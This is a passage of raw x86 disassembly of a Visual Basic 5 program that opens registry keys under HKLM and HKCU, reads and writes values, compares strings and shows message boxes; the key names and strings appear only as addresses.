lea edx, [ebp - 0x7c]
push edx
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStr]
mov dword [ebp - 0x3c], 1
jmp 0x434189
mov eax, dword [ebp - 0x14]
push eax
push 0x410214
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea ecx, [ebp - 0x7c]
push ecx
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStr]
cmp ebx, 5
jne 0x434189
mov ecx, 0x80020004
mov eax, 0xa
mov dword [ebp - 0xd0], ecx
mov dword [ebp - 0xc0], ecx
mov dword [ebp - 0xb0], ecx
lea edx, [ebp - 0x148]
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x140], 0x410298
mov dword [ebp - 0x148], 8
call dword [sym.imp.MSVBVM50.DLL___vbaVarDup]
lea edx, [ebp - 0xd8]
lea eax, [ebp - 0xc8]
push edx
lea ecx, [ebp - 0xb8]
push eax
push ecx
lea edx, [ebp - 0xa8]
push 0x30
push edx
call dword [sym.imp.MSVBVM50.DLL_rtcMsgBox]
lea eax, [ebp - 0xd8]
lea ecx, [ebp - 0xc8]
push eax
lea edx, [ebp - 0xb8]
push ecx
lea eax, [ebp - 0xa8]
push edx
push eax
push 4
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVarList]
add esp, 0x14
jmp 0x434189
mov ecx, dword [ebp - 0x14]
push ecx
push 0x4101f8
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea edx, [ebp - 0x7c]
push edx
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call ebx
mov ebx, dword [sym.imp.MSVBVM50.DLL___vbaFreeStr]
mov eax, 1
add ax, word [ebp - 0x1c]
jo 0x435277
mov dword [ebp - 0x1c], eax
jmp 0x433def
mov eax, dword [ebp - 0x18]
push eax
call fcn.00409e4c
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov edx, 0x410a14
lea ecx, [ebp - 0x68]
call dword [sym.imp.MSVBVM50.DLL___vbaStrCopy]
mov edx, dword [ebp - 0x68]
lea ecx, [ebp - 0x18]
push ecx
push 0x3f
push 0
lea eax, [ebp - 0x7c]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
push eax
push 0x80000002
call fcn.00409d90
mov dword [ebp - 0x18c], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov ecx, dword [ebp - 0x7c]
lea edx, [ebp - 0x68]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov eax, dword [ebp - 0x18c]
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x34], eax
call ebx
cmp dword [ebp - 0x34], 5
jne 0x43425e
mov edx, dword [ebp - 0x68]
lea ecx, [ebp - 0x18]
push ecx
push 0x20019
push 0
lea eax, [ebp - 0x7c]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
push eax
push 0x80000002
call fcn.00409d90
mov dword [ebp - 0x18c], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov ecx, dword [ebp - 0x7c]
lea edx, [ebp - 0x68]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov eax, dword [ebp - 0x18c]
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x34], eax
call ebx
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x434678
mov edx, 0x410a84
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM50.DLL___vbaStrCopy]
mov edx, 0x40b0e0
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVBVM50.DLL___vbaStrCopy]
mov edx, 0x410ac0
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVBVM50.DLL___vbaStrCopy]
push 0x20
call dword [sym.imp.MSVBVM50.DLL_rtcSpaceBstr]
mov edx, eax
lea ecx, [ebp - 0x44]
call esi
mov ecx, dword [ebp - 0x44]
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaLenBstr]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x44]
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x80]
push edx
push eax
push ecx
mov dword [ebp - 0x18c], 1
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
lea edx, [ebp - 0x18c]
push eax
mov eax, dword [ebp - 0x14]
push edx
push 0
lea ecx, [ebp - 0x7c]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
mov edx, dword [ebp - 0x18]
push eax
push edx
call fcn.00409dd4
mov dword [ebp - 0x190], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov eax, dword [ebp - 0x7c]
lea ecx, [ebp - 0x14]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov edx, dword [ebp - 0x80]
lea eax, [ebp - 0x44]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov ecx, dword [ebp - 0x190]
lea edx, [ebp - 0x80]
lea eax, [ebp - 0x7c]
push edx
push eax
push 2
mov dword [ebp - 0x34], ecx
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
mov eax, dword [ebp - 0x34]
add esp, 0xc
cmp eax, 2
je 0x434379
test eax, eax
jne 0x434669
mov eax, dword [ebp - 0x40]
test eax, eax
jle 0x434363
mov ecx, dword [ebp - 0x44]
sub eax, 1
jo 0x435277
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL_rtcLeftCharBstr]
mov edx, eax
lea ecx, [ebp - 0x44]
call esi
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x24]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrCmp]
test eax, eax
je 0x434669
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaLenBstr]
mov edx, dword [ebp - 0x24]
add eax, 1
jo 0x435277
push eax
lea eax, [ebp - 0x80]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
mov ecx, dword [ebp - 0x14]
push eax
push 1
push 0
lea edx, [ebp - 0x7c]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
push eax
mov eax, dword [ebp - 0x18]
push eax
call fcn.00409e8c
mov dword [ebp - 0x18c], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov ecx, dword [ebp - 0x7c]
lea edx, [ebp - 0x14]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov eax, dword [ebp - 0x80]
lea ecx, [ebp - 0x24]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov edx, dword [ebp - 0x18c]
lea eax, [ebp - 0x80]
lea ecx, [ebp - 0x7c]
push eax
push ecx
push 2
mov dword [ebp - 0x34], edx
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
mov eax, dword [ebp - 0x34]
add esp, 0xc
test eax, eax
jne 0x4345a0
push 0x20
call dword [sym.imp.MSVBVM50.DLL_rtcSpaceBstr]
mov edx, eax
lea ecx, [ebp - 0x44]
call esi
mov edx, dword [ebp - 0x44]
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaLenBstr]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x40]
lea edx, [ebp - 0x80]
push eax
push ecx
push edx
mov dword [ebp - 0x18c], 1
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
mov ecx, dword [ebp - 0x14]
push eax
lea eax, [ebp - 0x18c]
lea edx, [ebp - 0x7c]
push eax
push 0
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
push eax
mov eax, dword [ebp - 0x18]
push eax
call fcn.00409dd4
mov dword [ebp - 0x190], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov ecx, dword [ebp - 0x7c]
lea edx, [ebp - 0x14]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov eax, dword [ebp - 0x80]
lea ecx, [ebp - 0x44]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov edx, dword [ebp - 0x190]
lea eax, [ebp - 0x80]
lea ecx, [ebp - 0x7c]
push eax
push ecx
push 2
mov dword [ebp - 0x34], edx
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
mov eax, dword [ebp - 0x34]
add esp, 0xc
test eax, eax
jne 0x43457b
mov eax, dword [ebp - 0x40]
test eax, eax
jle 0x4344d2
mov edx, dword [ebp - 0x44]
sub eax, 1
jo 0x435277
push eax
push edx
call dword [sym.imp.MSVBVM50.DLL_rtcLeftCharBstr]
mov edx, eax
lea ecx, [ebp - 0x44]
call esi
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x24]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrCmp]
test eax, eax
jne 0x434509
mov edx, dword [ebp - 0x38]
push edx
push 0x410724
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea eax, [ebp - 0x7c]
push eax
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call ebx
jmp 0x434669
mov ecx, dword [ebp - 0x38]
push ecx
push 0x410618
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
mov edx, dword [ebp - 0x24]
push eax
push edx
call edi
mov edx, eax
lea ecx, [ebp - 0x80]
call esi
push eax
push 0x410660
call edi
mov edx, eax
lea ecx, [ebp - 0x84]
call esi
push eax
mov eax, dword [ebp - 0x44]
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0x88]
call esi
lea ecx, [ebp - 0x88]
push ecx
call fcn.004305c0
lea edx, [ebp - 0x88]
lea eax, [ebp - 0x84]
push edx
lea ecx, [ebp - 0x80]
push eax
lea edx, [ebp - 0x7c]
push ecx
push edx
push 4
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
jmp 0x434666
mov eax, dword [ebp - 0x38]
push eax
push 0x410234
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea ecx, [ebp - 0x7c]
push ecx
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call ebx
jmp 0x434669
mov edx, dword [ebp - 0x38]
push edx
push 0x410214
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea eax, [ebp - 0x7c]
push eax
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call ebx
cmp dword [ebp - 0x34], 5
jne 0x434669
mov ecx, 0x80020004
mov eax, 0xa
mov dword [ebp - 0xd0], ecx
mov dword [ebp - 0xc0], ecx
mov dword [ebp - 0xb0], ecx
lea edx, [ebp - 0x148]
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x140], 0x410298
mov dword [ebp - 0x148], 8
call dword [sym.imp.MSVBVM50.DLL___vbaVarDup]
lea ecx, [ebp - 0xd8]
lea edx, [ebp - 0xc8]
push ecx
lea eax, [ebp - 0xb8]
push edx
push eax
lea ecx, [ebp - 0xa8]
push 0x30
push ecx
call dword [sym.imp.MSVBVM50.DLL_rtcMsgBox]
lea edx, [ebp - 0xd8]
lea eax, [ebp - 0xc8]
push edx
lea ecx, [ebp - 0xb8]
push eax
lea edx, [ebp - 0xa8]
push ecx
push edx
push 4
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVarList]
add esp, 0x14
mov eax, dword [ebp - 0x18]
push eax
call fcn.00409e4c
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov edx, 0x410b28
lea ecx, [ebp - 0x68]
call dword [sym.imp.MSVBVM50.DLL___vbaStrCopy]
mov edx, dword [ebp - 0x68]
lea ecx, [ebp - 0x18]
push ecx
push 0x3f
push 0
lea eax, [ebp - 0x7c]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
push eax
push 0x80000002
call fcn.00409d90
mov dword [ebp - 0x18c], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov ecx, dword [ebp - 0x7c]
lea edx, [ebp - 0x68]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov eax, dword [ebp - 0x18c]
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x34], eax
call ebx
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x434828
mov edx, 0x410b8c
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVBVM50.DLL___vbaStrCopy]
push 0x20
call dword [sym.imp.MSVBVM50.DLL_rtcSpaceBstr]
mov edx, eax
lea ecx, [ebp - 0x44]
call esi
mov ecx, dword [ebp - 0x44]
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaLenBstr]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x44]
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x80]
push edx
push eax
push ecx
mov dword [ebp - 0x18c], 7
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
lea edx, [ebp - 0x18c]
push eax
mov eax, dword [ebp - 0x14]
push edx
push 0
lea ecx, [ebp - 0x7c]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
mov edx, dword [ebp - 0x18]
push eax
push edx
call fcn.00409dd4
mov dword [ebp - 0x190], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov eax, dword [ebp - 0x7c]
lea ecx, [ebp - 0x14]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov edx, dword [ebp - 0x80]
lea eax, [ebp - 0x44]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov ecx, dword [ebp - 0x190]
lea edx, [ebp - 0x80]
lea eax, [ebp - 0x7c]
push edx
push eax
push 2
mov dword [ebp - 0x34], ecx
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
mov eax, dword [ebp - 0x34]
add esp, 0xc
test eax, eax
jne 0x434819
mov eax, dword [ebp - 0x40]
test eax, eax
jle 0x4347b3
mov ecx, dword [ebp - 0x44]
sub eax, 1
jo 0x435277
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL_rtcLeftCharBstr]
mov edx, eax
lea ecx, [ebp - 0x44]
call esi
mov edx, dword [ebp - 0x44]
push 1
push edx
push 0x410bac
push 0
call dword [sym.imp.MSVBVM50.DLL___vbaInStr]
neg eax
sbb eax, eax
push 0x410bc8
neg eax
neg eax
mov word [0x43c068], ax
mov ecx, dword [0x43c068]
call dword [sym.imp.MSVBVM50.DLL___vbaI2Abs]
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrI2]
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
push eax
call edi
mov edx, eax
lea ecx, [ebp - 0x80]
call esi
lea eax, [ebp - 0x80]
push eax
call fcn.004305c0
lea ecx, [ebp - 0x80]
lea edx, [ebp - 0x7c]
push ecx
push edx
push 2
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
add esp, 0xc
mov eax, dword [ebp - 0x18]
push eax
call fcn.00409e4c
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
fld dword [0x401ff0]
call dword [sym.imp.MSVBVM50.DLL___vbaFpR4]
fcomp dword [0x43c064]
fnstsw ax
test ah, 0x41
je 0x434ce9
mov edx, 0x410be4
lea ecx, [ebp - 0x68]
call dword [sym.imp.MSVBVM50.DLL___vbaStrCopy]
mov edx, dword [ebp - 0x68]
lea ecx, [ebp - 0x18]
push ecx
push 0x3f
push 0
lea eax, [ebp - 0x7c]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
push eax
push 0x80000001
call fcn.00409d90
mov dword [ebp - 0x18c], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov ecx, dword [ebp - 0x7c]
lea edx, [ebp - 0x68]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov eax, dword [ebp - 0x18c]
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x34], eax
call ebx
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x434ce9
mov edx, 0x410c3c
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVBVM50.DLL___vbaStrCopy]
mov edx, 0x410c70
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVBVM50.DLL___vbaStrCopy]
mov ecx, dword [ebp - 0x14]
push 0x410c7c
push ecx
call edi
mov edx, eax
lea ecx, [ebp - 0x38]
call esi
push 0x20
call dword [sym.imp.MSVBVM50.DLL_rtcSpaceBstr]
mov edx, eax
lea ecx, [ebp - 0x44]
call esi
mov edx, dword [ebp - 0x44]
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaLenBstr]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x40]
lea edx, [ebp - 0x80]
push eax
push ecx
push edx
mov dword [ebp - 0x18c], 7
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
mov ecx, dword [ebp - 0x14]
push eax
lea eax, [ebp - 0x18c]
lea edx, [ebp - 0x7c]
push eax
push 0
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
push eax
mov eax, dword [ebp - 0x18]
push eax
call fcn.00409dd4
mov dword [ebp - 0x190], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov ecx, dword [ebp - 0x7c]
lea edx, [ebp - 0x14]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov eax, dword [ebp - 0x80]
lea ecx, [ebp - 0x44]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov edx, dword [ebp - 0x190]
lea eax, [ebp - 0x80]
lea ecx, [ebp - 0x7c]
push eax
push ecx
push 2
mov dword [ebp - 0x34], edx
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
mov eax, dword [ebp - 0x34]
add esp, 0xc
test eax, eax
jne 0x434cda
mov eax, dword [ebp - 0x40]
test eax, eax
jle 0x4349a0
mov edx, dword [ebp - 0x44]
sub eax, 1
jo 0x435277
push eax
push edx
call dword [sym.imp.MSVBVM50.DLL_rtcLeftCharBstr]
mov edx, eax
lea ecx, [ebp - 0x44]
call esi
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x24]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrCmp]
test eax, eax
je 0x434cda
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaLenBstr]
add eax, 1
lea ecx, [ebp - 0x80]
jo 0x435277
push eax
mov eax, dword [ebp - 0x24]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
mov edx, dword [ebp - 0x14]
push eax
push 1
push 0
lea eax, [ebp - 0x7c]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
mov ecx, dword [ebp - 0x18]
push eax
push ecx
call fcn.00409e8c
mov dword [ebp - 0x18c], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov edx, dword [ebp - 0x7c]
lea eax, [ebp - 0x14]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov ecx, dword [ebp - 0x80]
lea edx, [ebp - 0x24]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov eax, dword [ebp - 0x18c]
lea ecx, [ebp - 0x80]
lea edx, [ebp - 0x7c]
push ecx
push edx
push 2
mov dword [ebp - 0x34], eax
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
mov eax, dword [ebp - 0x34]
add esp, 0xc
test eax, eax
jne 0x434c11
push 0x20
call dword [sym.imp.MSVBVM50.DLL_rtcSpaceBstr]
mov edx, eax
lea ecx, [ebp - 0x44]
call esi
mov eax, dword [ebp - 0x44]
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaLenBstr]
mov edx, dword [ebp - 0x44]
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x40], eax
push ecx
lea eax, [ebp - 0x80]
push edx
push eax
mov dword [ebp - 0x18c], 1
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x18c]
push eax
push ecx
push 0
lea eax, [ebp - 0x7c]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
mov ecx, dword [ebp - 0x18]
push eax
push ecx
call fcn.00409dd4
mov dword [ebp - 0x190], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov edx, dword [ebp - 0x7c]
lea eax, [ebp - 0x14]
push edx
push eax
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov ecx, dword [ebp - 0x80]
lea edx, [ebp - 0x44]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov eax, dword [ebp - 0x190]
lea ecx, [ebp - 0x80]
lea edx, [ebp - 0x7c]
push ecx
push edx
push 2
mov dword [ebp - 0x34], eax
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
mov eax, dword [ebp - 0x34]
add esp, 0xc
test eax, eax
jne 0x434bec
mov eax, dword [ebp - 0x40]
test eax, eax
jle 0x434b0f
sub eax, 1
jo 0x435277
push eax
mov eax, dword [ebp - 0x44]
push eax
call dword [sym.imp.MSVBVM50.DLL_rtcLeftCharBstr]
mov edx, eax
lea ecx, [ebp - 0x44]
call esi
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x24]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrCmp]
test eax, eax
mov eax, dword [ebp - 0x38]
push eax
jne 0x434b7e
push 0x410518
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
mov ecx, dword [ebp - 0x44]
push eax
push ecx
call edi
mov edx, eax
lea ecx, [ebp - 0x80]
call esi
push eax
push 0x410724
call edi
mov edx, eax
lea ecx, [ebp - 0x84]
call esi
lea edx, [ebp - 0x84]
push edx
call fcn.004305c0
lea eax, [ebp - 0x84]
lea ecx, [ebp - 0x80]
push eax
lea edx, [ebp - 0x7c]
push ecx
push edx
push 3
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
add esp, 0x10
jmp 0x434cda
push 0x410618
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
mov ecx, dword [ebp - 0x24]
push eax
push ecx
call edi
mov edx, eax
lea ecx, [ebp - 0x80]
call esi
push eax
push 0x410660
call edi
mov edx, eax
lea ecx, [ebp - 0x84]
call esi
mov edx, dword [ebp - 0x44]
push eax
push edx
call edi
mov edx, eax
lea ecx, [ebp - 0x88]
call esi
lea eax, [ebp - 0x88]
push eax
call fcn.004305c0
lea ecx, [ebp - 0x88]
lea edx, [ebp - 0x84]
push ecx
lea eax, [ebp - 0x80]
push edx
lea ecx, [ebp - 0x7c]
push eax
push ecx
push 4
call dword [sym.imp.MSVBVM50.DLL___vbaFreeStrList]
jmp 0x434cd7
mov edx, dword [ebp - 0x38]
push edx
push 0x410234
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea eax, [ebp - 0x7c]
push eax
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call ebx
jmp 0x434cda
mov ecx, dword [ebp - 0x38]
push ecx
push 0x410214
call edi
mov edx, eax
lea ecx, [ebp - 0x7c]
call esi
lea edx, [ebp - 0x7c]
push edx
call fcn.004305c0
lea ecx, [ebp - 0x7c]
call ebx
cmp dword [ebp - 0x34], 5
jne 0x434cda
mov ecx, 0x80020004
mov eax, 0xa
mov dword [ebp - 0xd0], ecx
mov dword [ebp - 0xc0], ecx
mov dword [ebp - 0xb0], ecx
lea edx, [ebp - 0x148]
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x140], 0x410298
mov dword [ebp - 0x148], 8
call dword [sym.imp.MSVBVM50.DLL___vbaVarDup]
lea eax, [ebp - 0xd8]
lea ecx, [ebp - 0xc8]
push eax
lea edx, [ebp - 0xb8]
push ecx
push edx
lea eax, [ebp - 0xa8]
push 0x30
push eax
call dword [sym.imp.MSVBVM50.DLL_rtcMsgBox]
lea ecx, [ebp - 0xd8]
lea edx, [ebp - 0xc8]
push ecx
lea eax, [ebp - 0xb8]
push edx
lea ecx, [ebp - 0xa8]
push eax
push ecx
push 4
call dword [sym.imp.MSVBVM50.DLL___vbaFreeVarList]
add esp, 0x14
mov edx, dword [ebp - 0x18]
push edx
call fcn.00409e4c
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
fld dword [0x43c064]
fcomp dword [0x401ff4]
fnstsw ax
test ah, 0x41
jne 0x435160
mov edx, 0x410cf0
lea ecx, [ebp - 0x68]
call dword [sym.imp.MSVBVM50.DLL___vbaStrCopy]
mov ecx, dword [ebp - 0x68]
lea eax, [ebp - 0x18]
push eax
push 0x3f
push 0
lea edx, [ebp - 0x7c]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
push eax
push 0x80000001
call fcn.00409d90
mov dword [ebp - 0x18c], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov eax, dword [ebp - 0x7c]
lea ecx, [ebp - 0x68]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov edx, dword [ebp - 0x18c]
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x34], edx
call ebx
cmp dword [ebp - 0x34], 5
jne 0x434da9
mov ecx, dword [ebp - 0x68]
lea eax, [ebp - 0x18]
push eax
push 0x20019
push 0
lea edx, [ebp - 0x7c]
push ecx
push edx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
push eax
push 0x80000001
call fcn.00409d90
mov dword [ebp - 0x18c], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov eax, dword [ebp - 0x7c]
lea ecx, [ebp - 0x68]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov edx, dword [ebp - 0x18c]
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x34], edx
call ebx
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x435160
mov edx, 0x410d68
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM50.DLL___vbaStrCopy]
mov edx, 0x410d8c
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVBVM50.DLL___vbaStrCopy]
mov ecx, dword [ebp - 0x50]
mov eax, 4
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], eax
lea eax, [ebp - 0x190]
lea edx, [ebp - 0x18c]
push eax
mov eax, dword [ebp - 0x14]
push ecx
push edx
push 0
lea ecx, [ebp - 0x7c]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
mov edx, dword [ebp - 0x18]
push eax
push edx
call fcn.00409dd4
mov dword [ebp - 0x194], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov eax, dword [ebp - 0x7c]
lea ecx, [ebp - 0x14]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
lea ecx, [ebp - 0x7c]
call ebx
mov eax, dword [ebp - 0x194]
test eax, eax
jne 0x435151
mov edx, dword [ebp - 0x50]
cmp byte [edx], 0
je 0x435151
xor ecx, ecx
call dword [sym.imp.MSVBVM50.DLL___vbaUI1I4]
mov ecx, dword [ebp - 0x50]
push 4
mov byte [ecx], al
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x14]
push edx
push 4
push 0
lea ecx, [ebp - 0x7c]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
mov edx, dword [ebp - 0x18]
push eax
push edx
call fcn.00409e8c
mov dword [ebp - 0x18c], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov eax, dword [ebp - 0x7c]
lea ecx, [ebp - 0x14]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
mov edx, dword [ebp - 0x18c]
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x34], edx
call ebx
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x435088
mov ecx, dword [ebp - 0x50]
mov eax, 4
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], eax
lea eax, [ebp - 0x190]
lea edx, [ebp - 0x18c]
push eax
mov eax, dword [ebp - 0x14]
push ecx
push edx
push 0
lea ecx, [ebp - 0x7c]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToAnsi]
mov edx, dword [ebp - 0x18]
push eax
push edx
call fcn.00409dd4
mov dword [ebp - 0x194], eax
call dword [sym.imp.MSVBVM50.DLL___vbaSetSystemError]
mov eax, dword [ebp - 0x7c]
lea ecx, [ebp - 0x14]
push eax
push ecx
call dword [sym.imp.MSVBVM50.DLL___vbaStrToUnicode]
lea ecx, [ebp - 0x7c]
call ebx
mov eax, dword [ebp - 0x194]
test eax, eax
jne 0x435063
mov edx, dword [ebp - 0x50]
cmp byte [edx], 0
mov eax, dword [ebp - 0x38]
push eax
